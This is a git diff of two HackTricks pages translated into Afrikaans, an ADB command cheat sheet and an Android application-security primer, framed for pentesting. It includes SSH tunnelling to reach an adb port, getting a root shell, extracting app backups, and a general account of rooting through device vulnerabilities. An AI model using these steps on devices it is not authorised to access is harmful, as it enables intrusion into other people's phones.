|
||||
Wanneer jy **verskeie toestelle wat aan jou masjien gekoppel is** vind, sal jy **moet spesifiseer in watter een** jy die adb-opdrag wil uitvoer.
|
||||
```bash
|
||||
adb devices
|
||||
List of devices attached
|
||||
|
@ -58,16 +59,16 @@ adb -s 127.0.0.1:5555 shell
|
|||
x86_64:/ # whoami
|
||||
root
|
||||
```
|
||||
## Poorttunneling
|
||||
## Port Tunneling
|
||||
|
||||
In die geval waar die **adb** **poort** slegs **toeganklik** is vanaf die **localhost** op die Android-toestel, maar **jy het toegang via SSH**, kan jy die poort 5555 **deurstuur** en verbind via adb:
|
||||
In die geval waar die **adb** **poort** slegs **toeganklik** is vanaf **localhost** op die Android-toestel, maar **jy het toegang via SSH**, kan jy die **poort 5555** **voordeur** en via adb aansluit:
|
||||
```bash
|
||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||
adb connect 127.0.0.1:5555
|
||||
```
|
||||
# Pakketbestuurder
|
||||
|
||||
## Installeer/Deïnstalleer
|
||||
## Installeer/Verwyder
|
||||
|
||||
### adb install \[opsie] \<pad>
|
||||
```bash
|
||||
|
@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade
|
|||
|
||||
adb install -p test.apk # partial application install
|
||||
```
|
||||
### adb deïnstalleer \[opsies] \<PAKET>
|
||||
### adb uninstall \[options] \<PACKAGE>
|
||||
```bash
|
||||
adb uninstall com.test.app
|
||||
|
||||
|
@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
|
|||
```
|
||||
## Pakkette
|
||||
|
||||
Druk alle pakkette af, opsioneel slegs dié waarvan die pakketnaam die teks in \<FILTER> bevat.
|
||||
Druk alle pakkette af, opsioneel slegs dié waarvan die pakketaan naam die teks in \<FILTER> bevat.
|
||||
|
||||
### adb shell pm lys pakkette \[opsies] \<FILTER-STR>
|
||||
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||
```bash
|
||||
adb shell pm list packages <FILTER-STR>
|
||||
|
||||
|
@ -115,43 +116,43 @@ adb shell pm list packages -u <FILTER-STR> #Also include uninstalled packages.
|
|||
|
||||
adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to query.
|
||||
```
|
||||
### adb shell pm path \<PAKKET>
|
||||
### adb shell pm path \<PACKAGE>
|
||||
|
||||
Druk die pad na die APK van die gegewe .
|
||||
```bash
|
||||
adb shell pm path com.android.phone
|
||||
```
|
||||
### adb shell pm clear \<PAKKET>
|
||||
### adb shell pm clear \<PACKAGE>
|
||||
|
||||
Verwyder alle data wat geassosieer word met 'n pakket.
|
||||
Verwyder alle data wat met 'n pakket geassosieer is.
|
||||
```bash
|
||||
adb shell pm clear com.test.abc
|
||||
```
|
||||
# Lêerbestuurder
|
||||
# File Manager
|
||||
|
||||
### adb pull \<remote> \[local]
|
||||
|
||||
Laai 'n gespesifiseerde lêer van 'n emulator/toestel af na jou rekenaar.
|
||||
Laai 'n spesifieke lêer van 'n emuleerder/toestel na jou rekenaar af.
|
||||
```bash
|
||||
adb pull /sdcard/demo.mp4 ./
|
||||
```
|
||||
### adb push \<plaaslike> \<afgeleë>
|
||||
### adb push \<local> \<remote>
|
||||
|
||||
Laai 'n gespesifiseerde lêer vanaf jou rekenaar na 'n emulator/toestel.
|
||||
Laai 'n spesifieke lêer van jou rekenaar na 'n emuleerder/toestel op.
|
||||
```bash
|
||||
adb push test.apk /sdcard
|
||||
```
|
||||
# Skermvaslegging/Skermrekord
|
||||
# Screencapture/Screenrecord
|
||||
|
||||
### adb shell screencap \<lêernaam>
|
||||
### adb shell screencap \<filename>
|
||||
|
||||
Neem 'n skermvaslegging van 'n toestel se vertoning.
|
||||
Neem 'n skermskoot van 'n toestel se skerm.
|
||||
```bash
|
||||
adb shell screencap /sdcard/screen.png
|
||||
```
|
||||
### adb shell screenrecord \[opsies] \<lêernaam>
|
||||
### adb shell screenrecord \[options] \<filename>
|
||||
|
||||
Die opname van die skerm van toestelle wat Android 4.4 (API-vlak 19) en hoër hardloop.
|
||||
Opname van die skerm van toestelle wat Android 4.4 (API-vlak 19) en hoër draai.
|
||||
```bash
|
||||
adb shell screenrecord /sdcard/demo.mp4
|
||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||
|
@ -160,27 +161,27 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
|||
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||
adb shell screenrecord --verbose
|
||||
```
|
||||
(druk Ctrl-C om opname te stop)
|
||||
(druk Ctrl-C om opnames te stop)
|
||||
|
||||
**Jy kan die lêers (afbeeldings en videos) aflaai deur **_**adb pull**_
|
||||
**Jy kan die lêers (beelde en video's) aflaai met **_**adb pull**_
|
||||
|
||||
# Shell
|
||||
|
||||
### adb shell
|
||||
|
||||
Kry 'n skulp binne die toestel
|
||||
Kry 'n shell binne die toestel
|
||||
```bash
|
||||
adb shell
|
||||
```
|
||||
### adb shell \<CMD>
|
||||
|
||||
Voer 'n bevel binne die toestel uit
|
||||
Voer 'n opdrag binne die toestel uit
|
||||
```bash
|
||||
adb shell ls
|
||||
```
|
||||
## pm
|
||||
|
||||
Die volgende opdragte word binne 'n skul uitgevoer.
|
||||
Die volgende opdragte word binne 'n skulp uitgevoer
|
||||
```bash
|
||||
pm list packages #List installed packages
|
||||
pm path <package name> #Get the path to the apk file of tha package
|
||||
|
@ -189,67 +190,44 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
|
|||
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
||||
input [text|keyevent] #Send keystrokes to device
|
||||
```
|
||||
# Prosesse
|
||||
# Processes
|
||||
|
||||
As jy die PID van die proses van jou toepassing wil kry, kan jy die volgende uitvoer:
|
||||
As jy die PID van die proses van jou aansoek wil kry, kan jy uitvoer:
|
||||
```bash
|
||||
adb shell ps
|
||||
```
|
||||
En soek na jou toepassing
|
||||
En soek vir jou aansoek
|
||||
|
||||
Of jy kan doen
|
||||
```bash
|
||||
adb shell pidof com.your.application
|
||||
```
|
||||
En dit sal die PID van die toepassing druk
|
||||
En dit sal die PID van die aansoek druk
|
||||
|
||||
# Stelsel
|
||||
```bash
|
||||
adb root
|
||||
```
|
||||
Herlaai die adbd daemon met root-regte. Dan moet jy weer verbind met die ADB-bediener en jy sal root wees (indien beskikbaar).
|
||||
Herstart die adbd daemon met worteltoestemmings. Dan moet jy weer aan die ADB-bediener koppel en jy sal wortel wees (indien beskikbaar)
|
||||
```bash
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
# Flits/herstel Android update.zip-pakette.
|
||||
flashing/restoring Android update.zip pakkette.
|
||||
|
||||
# Logboeke
|
||||
# Logs
|
||||
|
||||
## Logcat
|
||||
|
||||
Om **slegs die boodskappe van een toepassing te filter**, kry die PID van die toepassing en gebruik grep (linux/macos) of findstr (windows) om die uitset van logcat te filter:
|
||||
Om **slegs die boodskappe van een toepassing te filter**, kry die PID van die toepassing en gebruik grep (linux/macos) of findstr (windows) om die uitvoer van logcat te filter:
|
||||
```bash
|
||||
adb logcat | grep 4526
|
||||
adb logcat | findstr 4526
|
||||
```
|
||||
### adb logcat \[opsie] \[filter-spesifikasies]
|
||||
|
||||
Beskrywing:
|
||||
- Die `adb logcat`-bevel gee toegang tot die logboeke van 'n Android-toestel.
|
||||
- Dit kan gebruik word om foutopsporing en probleemoplossing te doen tydens Android-app-pentesting.
|
||||
|
||||
Opsies:
|
||||
- `-B` : Stel 'n buffergrootte in vir die logboek.
|
||||
- `-c` : Wis die logboek.
|
||||
- `-d` : Druk die logboek na die skerm en stop.
|
||||
- `-f <lêernaam>` : Skryf die logboek na 'n lêer.
|
||||
- `-g` : Druk geheugengebruiksinligting uit.
|
||||
- `-n <aantal>` : Stel die maksimum aantal roetines in wat in die logboek gehou moet word.
|
||||
- `-r <aantal>` : Stel die maksimum aantal roetines in wat in die logboek gehou moet word en draai die logboek as dit vol is.
|
||||
- `-s <filter>` : Stel 'n filter in vir die logboek.
|
||||
- `-t <aantal>` : Druk die laaste aantal roetines uit.
|
||||
- `-v <formaat>` : Stel die uitvoervormaat van die logboek in.
|
||||
- `-w <lêernaam>` : Skryf die logboek na 'n lêer en bly voortgaan.
|
||||
|
||||
Voorbeelde:
|
||||
- `adb logcat` : Druk die volledige logboek na die skerm.
|
||||
- `adb logcat -d` : Druk die volledige logboek na die skerm en stop.
|
||||
- `adb logcat -f log.txt` : Skryf die volledige logboek na 'n lêer met die naam "log.txt".
|
||||
- `adb logcat -s TAG` : Druk slegs die logboekinskrywings met die spesifieke tag "TAG" na die skerm.
|
||||
```bash
|
||||
adb logcat
|
||||
```
|
||||
Notas: druk Ctrl-C om moniter te stop.
|
||||
Notes: druk Ctrl-C om monitor te stop.
|
||||
```bash
|
||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||
|
||||
|
@ -266,16 +244,6 @@ adb logcat *:F # filter to only show Fatal level
|
|||
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
||||
```
|
||||
### adb logcat -b \<Buffer>
|
||||
|
||||
Hierdie opdrag word gebruik om die logboekinskrywings van 'n spesifieke buffer in die Android-toestel se logboek te sien. Die buffers sluit in `main`, `system`, `radio`, `events` en `crash`.
|
||||
|
||||
Gebruik die volgende sintaksis om die logboekinskrywings van 'n spesifieke buffer te sien:
|
||||
|
||||
```
|
||||
adb logcat -b <buffer>
|
||||
```
|
||||
|
||||
Vervang `<buffer>` met die naam van die gewenste buffer, byvoorbeeld `main`, `system`, `radio`, `events` of `crash`.
|
||||
```bash
|
||||
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
||||
|
||||
|
@ -295,9 +263,9 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
|||
```
|
||||
## dumpsys
|
||||
|
||||
stort stelseldata uit
|
||||
dump stelseldat
|
||||
|
||||
### adb shell dumpsys \[opsies]
|
||||
### adb shell dumpsys \[options]
|
||||
```bash
|
||||
adb shell dumpsys
|
||||
|
||||
|
@ -305,19 +273,19 @@ adb shell dumpsys meminfo
|
|||
|
||||
adb shell dumpsys battery
|
||||
```
|
||||
Notas: 'n mobiele toestel met Ontwikkelaarsopties wat Android 5.0 of hoër hardloop.
|
||||
Notas: 'n Mobiele toestel met Ontwikkelaaropsies geaktiveer wat Android 5.0 of hoër draai.
|
||||
```bash
|
||||
adb shell dumpsys batterystats collects battery data from your device
|
||||
```
|
||||
Notas: [Battery Historian](https://github.com/google/battery-historian) omskep daardie data na 'n HTML-visualisering. **STAP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STAP 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
Notas: [Battery Historian](https://github.com/google/battery-historian) omskep daardie data in 'n HTML-visualisering. **STAP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STAP 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
```bash
|
||||
adb shell dumpsys batterystats --reset erases old collection data
|
||||
```
|
||||
adb skulp aktiwiteit
|
||||
adb shell dumpsys activity
|
||||
|
||||
# Rugsteun
|
||||
|
||||
Maak 'n rugsteun van 'n Android-toestel vanuit adb.
|
||||
Rugsteun 'n Android-toestel vanaf adb.
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
# -apk -- Include APK from Third partie's applications
|
||||
|
@ -329,20 +297,21 @@ adb shell pm list packages -f -3 #List packages
|
|||
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
|
||||
adb restore myapp_backup.ab # restore to the same or any other device
|
||||
```
|
||||
As jy die inhoud van die rugsteun wil ondersoek:
|
||||
As jy die inhoud van die rugsteun wil inspekteer:
|
||||
```bash
|
||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Android Aansoek Basiese Beginsels
|
||||
# Android Applications Basics
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Probeer Hard Security Groep**
|
||||
**Probeer Hard Sekuriteitsgroep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -26,129 +27,130 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
**Daar is twee lae:**
|
||||
|
||||
* Die **OS**, wat geïnstalleerde aansoeke geïsoleer hou van mekaar.
|
||||
* Die **aansoek self**, wat ontwikkelaars toelaat om **sekere funksionaliteite bloot te stel** en aansoekvermoëns te konfigureer.
|
||||
* Die **OS**, wat geïnstalleerde toepassings van mekaar isoleer.
|
||||
* Die **toepassing self**, wat ontwikkelaars toelaat om **sekere funksies bloot te stel** en toepassingsvermoëns te konfigureer.
|
||||
|
||||
### UID Skeiding
|
||||
|
||||
**Elke aansoek word 'n spesifieke Gebruikers-ID toegewys**. Dit word gedoen tydens die installasie van die aansoek sodat **die aansoek slegs met lêers wat deur sy Gebruikers-ID besit word, kan interaksie hê** of gedeelde lêers. Daarom kan slegs die aansoek self, sekere komponente van die OS en die hoofgebruiker toegang tot die aansoek se data hê.
|
||||
**Elke toepassing word aan 'n spesifieke Gebruiker ID toegeken**. Dit gebeur tydens die installasie van die app sodat **die app slegs met lêers wat aan sy Gebruiker ID behoort of gedeelde** lêers kan kommunikeer. Daarom kan slegs die app self, sekere komponente van die OS en die wortelgebruiker toegang tot die toepassingsdata hê.
|
||||
|
||||
### UID Deling
|
||||
### UID Deel
|
||||
|
||||
**Twee aansoeke kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een van hulle gekompromitteer word, sal die data van beide aansoeke gekompromitteer word. Dit is waarom hierdie gedrag **ontmoedig** word.\
|
||||
**Om dieselfde UID te deel, moet aansoeke dieselfde `android:sharedUserId`-waarde in hul manifeste definieer.**
|
||||
**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van beide toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadpleeg** word.\
|
||||
**Om dieselfde UID te deel, moet toepassings dieselfde `android:sharedUserId` waarde in hul manifes definieer.**
|
||||
|
||||
### Sandboxing
|
||||
|
||||
Die **Android Aansoek Sandboks** maak dit moontlik om **elke aansoek** as 'n **afsonderlike proses onder 'n afsonderlike gebruikers-ID** te laat loop. Elke proses het sy eie virtuele masjien, sodat 'n aansoek se kode in isolasie van ander aansoeke loop.\
|
||||
Van Android 5.0(L) af word **SELinux** afgedwing. Basies het SELinux alle prosesinteraksies ontken en daarna beleid geskep om **slegs die verwagte interaksies tussen hulle toe te laat**.
|
||||
Die **Android Toepassing Sandbox** laat toe om **elke toepassing** as 'n **afsonderlike proses onder 'n afsonderlike gebruiker ID** te laat loop. Elke proses het sy eie virtuele masjien, sodat 'n app se kode in isolasie van ander apps loop.\
|
||||
Vanaf Android 5.0(L) word **SELinux** afgedwing. Basies het SELinux alle prosesinteraksies ontken en toe beleide geskep om **slegs die verwagte interaksies tussen hulle toe te laat**.
|
||||
|
||||
### Toestemmings
|
||||
|
||||
Wanneer jy 'n **aansoek installeer en dit vir toestemmings vra**, vra die aansoek vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer gekonfigureer is. Die **uses-permission** element dui die naam van die versoekte toestemming binne die **naam** **eienskap** aan. Dit het ook die **maxSdkVersion** eienskap wat ophou om vir toestemmings te vra op hoër weergawes as die gespesifiseerde een.\
|
||||
Let daarop dat Android-aansoeke nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **toestemmings dinamies vra** maar al die toestemmings moet in die **manifest** **verklaar** word.
|
||||
Wanneer jy 'n **app installeer en dit vra vir toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een gespesifiseer.\
|
||||
Let daarop dat android toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies vir toestemmings vra** maar al die toestemmings moet **verklaar** word in die **manifest.**
|
||||
|
||||
Wanneer 'n aansoek funksionaliteit blootstel, kan dit die **toegang beperk tot slegs aansoeke wat 'n spesifieke toestemming het**.\
|
||||
'n Toestemmings-element het drie eienskappe:
|
||||
Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs apps wat 'n gespesifiseerde toestemming het**.\
|
||||
'n Toestemmingselement het drie attribuut:
|
||||
|
||||
* Die **naam** van die toestemming
|
||||
* Die **permission-group** eienskap, wat toelaat dat verwante toestemmings gegroepeer word.
|
||||
* Die **beskermingsvlak** wat aandui hoe die toestemmings verleen word. Daar is vier tipes:
|
||||
* **Normaal**: Gebruik wanneer daar **geen bekende bedreigings** vir die aansoek is nie. Die gebruiker hoef dit **nie goed te keur** nie.
|
||||
* **Gevaarlik**: Dui aan dat die toestemming die versoekende aansoek 'n sekere **verhoogde toegang** gee. **Gebruikers word versoek om dit goed te keur**.
|
||||
* **Handtekening**: Slegs **aansoeke wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer onderteken is, kan toestemming kry. Dit is die sterkste tipe beskerming.
|
||||
* **HandtekeningOfStelsel**: Slegs **aansoeke wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer onderteken is of **aansoeke wat met stelselvlaktoegang hardloop** kan toestemmings kry.
|
||||
* Die **permission-group** attribuut, wat toelaat om verwante toestemmings te groepeer.
|
||||
* Die **protection-level** wat aandui hoe die toestemmings toegeken word. Daar is vier tipes:
|
||||
* **Normaal**: Gebruik wanneer daar **geen bekende bedreigings** vir die app is nie. Die gebruiker is **nie verplig om dit goed te keur nie**.
|
||||
* **Gevaarlik**: Dui aan dat die toestemming die aansoekende toepassing 'n paar **verhoogde toegang** gee. **Gebruikers word gevra om dit goed te keur**.
|
||||
* **Handtekening**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer, kan toestemming ontvang. Dit is die sterkste tipe beskerming.
|
||||
* **HandtekeningOfStelsel**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer of **apps wat met stelselniveau toegang loop**, kan toestemming ontvang.
|
||||
|
||||
## Vooraf Geïnstalleerde Aansoeke
|
||||
## Vooraf Geïnstalleerde Toepassings
|
||||
|
||||
Hierdie aansoeke word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gids gevind en sommige van hulle is **geoptimeer** (jy mag nie eens die `classes.dex`-lêer vind nie). Hierdie aansoeke is die moeite werd om te ondersoek omdat hulle soms met te veel toestemmings hardloop (as hoof).
|
||||
Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gidsen gevind en sommige van hulle is **geoptimaliseer** (jy mag nie eens die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel).
|
||||
|
||||
* Diegene wat saam met die **AOSP** (Android OpenSource Project) **ROM** versend word
|
||||
* Diegene wat saam met die **AOSP** (Android OpenSource Project) **ROM** verskaf word
|
||||
* Bygevoeg deur die toestel **vervaardiger**
|
||||
* Bygevoeg deur die selfoonverskaffer (as dit by hulle gekoop is)
|
||||
* Bygevoeg deur die sel **foonverskaffer** (as dit van hulle gekoop is)
|
||||
|
||||
## Rooting
|
||||
|
||||
Om worteltoegang tot 'n fisiese Android-toestel te verkry, moet jy gewoonlik 1 of 2 **kwesbaarhede uitbuit** wat gewoonlik **spesifiek** vir die **toestel** en **weergawe** is.\
|
||||
Sodra die uitbuiting gewerk het, word die Linux `su` binêre gewoonlik gekopieer na 'n ligging wat in die gebruiker se PATH-omgewingsveranderlike gespesifiseer is, soos `/system/xbin`.
|
||||
Om worteltoegang tot 'n fisiese android toestel te verkry, moet jy gewoonlik 1 of 2 **kwesbaarhede** **ontgin** wat gewoonlik **spesifiek** vir die **toestel** en **weergawe** is.\
|
||||
Sodra die ontginning gewerk het, word gewoonlik die Linux `su` binêre na 'n plek gekopieer wat in die gebruiker se PATH omgewingsveranderlike gespesifiseer is, soos `/system/xbin`.
|
||||
|
||||
Sodra die su-binêre geconfigureer is, word 'n ander Android-aansoek gebruik om met die `su`-binêre te kommunikeer en **versoeke vir worteltoegang te verwerk** soos **Superuser** en **SuperSU** (beskikbaar in die Google Play Store).
|
||||
Sodra die su binêre geconfigureer is, word 'n ander Android app gebruik om met die `su` binêre te kommunikeer en **versoeke vir worteltoegang te verwerk** soos **Superuser** en **SuperSU** (beskikbaar in die Google Play winkel).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat die rooting-proses baie gevaarlik is en die toestel ernstig kan beskadig
|
||||
Let daarop dat die rooting proses baie gevaarlik is en die toestel ernstig kan beskadig
|
||||
{% endhint %}
|
||||
|
||||
### ROMs
|
||||
|
||||
Dit is moontlik om die OS te **vervang deur 'n aangepaste firmware te installeer**. Deur dit te doen, is dit moontlik om die nut van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android-kode te verkry.\
|
||||
Dit is moontlik om die **OS te vervang deur 'n pasgemaakte firmware te installeer**. Deur dit te doen, is dit moontlik om die nuttigheid van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android kode te verkry.\
|
||||
**OmniROM** en **LineageOS** is twee van die gewildste firmwares om te gebruik.
|
||||
|
||||
Let daarop dat **dit nie altyd nodig is om die toestel te root nie** om 'n aangepaste firmware te installeer. **Sommige vervaardigers laat** die ontgrendeling van hul laarsladers op 'n goed gedokumenteerde en veilige manier toe.
|
||||
Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n pasgemaakte firmware te installeer nie. **Sommige vervaardigers laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe.
|
||||
|
||||
### Implikasies
|
||||
### Gevolge
|
||||
|
||||
Sodra 'n toestel gewortel is, kan enige aansoek versoek om toegang as wortel te verkry. As 'n skadelike aansoek dit kry, kan dit byna alles toegang hê en die foon kan beskadig word.
|
||||
Sodra 'n toestel ge-root is, kan enige app toegang as wortel vra. As 'n kwaadwillige toepassing dit kry, kan dit toegang tot byna alles hê en dit sal in staat wees om die foon te beskadig.
|
||||
|
||||
## Android Aansoek Fundamentele <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Android Toepassing Fundamentele <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Die formaat van Android-aansoeke word verwys as _APK-lêerformaat_. Dit is essensieel 'n **ZIP-lêer** (deur die lêernaamuitbreiding na .zip te verander, kan die inhoud onttrek en besigtig word).
|
||||
- APK-inhoud (Nie uitputtend nie)
|
||||
- Die formaat van Android toepassings word verwys na as _APK lêerformaat_. Dit is essensieel 'n **ZIP lêer** (deur die lêer uitbreiding na .zip te hernoem, kan die inhoud onttrek en gesien word).
|
||||
- APK Inhoud (Nie uitputtend nie)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: bevat vooraf saamgestelde bronne, soos binêre XML.
|
||||
- resources.arsc: bevat vooraf gecompileerde hulpbronne, soos binêre XML.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- Hierdie is waar die Sertifikaat geleë is!
|
||||
- Dit is waar die Sertifikaat geleë is!
|
||||
- **classes.dex**
|
||||
- Bevat Dalvik-bytekode, wat die saamgestelde Java (of Kotlin) kode wat die aansoek standaard uitvoer, verteenwoordig.
|
||||
- Bevat Dalvik bytecode, wat die gecompileerde Java (of Kotlin) kode verteenwoordig wat die toepassing standaard uitvoer.
|
||||
- lib/
|
||||
- Huisves inheemse biblioteke, geskei deur CPU-argitektuur in subgidse.
|
||||
- Huisves inheemse biblioteke, gesegregeer volgens CPU argitektuur in subgidse.
|
||||
- `armeabi`: kode vir ARM-gebaseerde verwerkers
|
||||
- `armeabi-v7a`: kode vir ARMv7 en hoër gebaseerde verwerkers
|
||||
- `x86`: kode vir X86-verwerkers
|
||||
- `mips`: kode vir slegs MIPS-verwerkers
|
||||
- bates/
|
||||
- Berg verskeie lêers wat deur die aansoek benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX-lêers, soms deur malware-skrywers gebruik om addisionele kode te verberg.
|
||||
- `x86`: kode vir X86 verwerkers
|
||||
- `mips`: kode vir slegs MIPS verwerkers
|
||||
- assets/
|
||||
- Berg miscellaneous lêers wat deur die app benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX lêers, soms deur malware outeurs gebruik om addisionele kode te verberg.
|
||||
- res/
|
||||
- Bevat bronne wat nie in resources.arsc saamgestel is nie.
|
||||
- Bevat hulpbronne wat nie in resources.arsc gecompileer is nie.
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
